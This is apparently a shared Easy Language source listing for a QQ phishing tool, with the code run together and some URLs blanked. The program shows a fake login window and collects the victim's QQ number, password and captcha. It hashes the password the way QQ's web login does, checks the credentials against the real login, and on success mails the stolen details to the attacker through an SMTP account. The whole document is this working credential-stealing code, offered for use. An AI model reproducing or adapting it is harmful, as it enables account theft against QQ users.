易语言源码丶钓鱼发信、e

　　.版本 2.支持库 script.支持库 iext.支持库 internet.支持库 xplib.支持库 eAPI.程序集 窗口程序集1.子程序 _按钮_发送_被单击.局部变量 pass, 文本型.局部变量 临时数据, 文本型脚本组件1.执行 (#md5) QQ网页登陆密码MD5加密方式pass ＝ 脚本组件1.运行 (“md5_3”, 编辑框_正文.内容)pa

　　ss ＝ 脚本组件1.运行 (“md5”, pass ＋ 到大写 (编辑框_正文1.内容))临时数据 ＝ 到文本 (彗星HTTP读文件 (“”, “POST”, , , “2Fqzone%2F%2Floginsucc.html%3Fpara%3DblogComment&fp=loginerroralert&h=1&u=” ＋ 编辑框_标题.内容 ＋ “&p=” ＋ pass ＋ “&verifycode=” ＋ 编辑框_正文1.内容 ＋ “&aid=15000101&from_ui=1”, )).如果 (寻找文本 (临时数据, “登录成功”, , 假) ＞ 0) 时钟1.时钟周期 ＝ 1000 分组框1. ＝ 线.可视 ＝ 假.否则 信息框 (“登录失败,请检查帐号密码和验证码是否输入正确!”, 16, “提示：”) 状态条1.置文本 (0, “登录失败”) 编辑框_正文1.内容 ＝ “” 返回 ().如果结束.子程序 _时钟1_周期事件连接发信服务器 (编辑框_发件服务.内容, , 编辑框_邮箱账号.内容, 编辑框_邮箱密码.内容, )时钟1.时钟周期 ＝ 0.如果 (发送邮件 (编辑框_标题.内容, 编辑框_正文.内容, 编辑框_收件地址.内容, , , 编辑框_邮箱账号.内容, ) ＝ “”) 标签8.标题 ＝ “您已发送邮箱”.否则 标签8.标题 ＝ “没发出去”.如果结束.子程序 __启动窗口_创建完毕XP风格 (2)打开指定网址 (“”).子程序 _标签16_鼠标左键被按下, 逻辑型.参数 横向, 整数型.参数 纵向, 整数型.参数 功能键状态, 整数型打开指定网址 (“”).子程序 退出结束 ().子程序 _编辑框_正文1_获得焦点画板1.可视 ＝ 线.底图 ＝ 彗星HTTP读文件 (“”).子程序 _编辑框_正文1_失去焦点画板1.可视 ＝ 假画板1.可视 ＝ 假.子程序 _图片框1_鼠标左键被按下, 逻辑型.参数 横向, 整数型.参数 纵向, 整数型.参数 功能键状态, 整数型打开指定网址 (“”).子程序 __启动窗口_可否被关闭, 逻辑型结束 ().子程序 _编辑框_正文1_按下某键, 逻辑型.参数 键代码, 整数型.参数 功能键状态, 整数型.如果 (键代码 ＝ #回车键) _按钮_发送_被单击 ().否则.如果结束.子程序 _编辑框_标题_内容被改变编辑框_标题.最大允许长度 ＝ 10.子程序 _编辑框_正文1_内容被改变编辑框_正文1.最大允许长度 ＝ 4.子程序 _按钮2_被单击编辑框_正文1.激活 ().子程序 _编辑框_正文_按下某键, 逻辑型.参数 键代码, 整数型.参数 功能键状态, 整数型.如果 (键代码 ＝ #回车键) _按钮_发送_被单击 ().否则.如果结束.子程序 _编辑框_标题_按下某键, 逻辑型.参数 键代码, 整数型.参数 功能键状态, 整数型.如果 (键代码 ＝ #回车键) _按钮_发送_被单击 ().否则.如果结束.子程序 _退出_被单击结束 ()

　　推荐：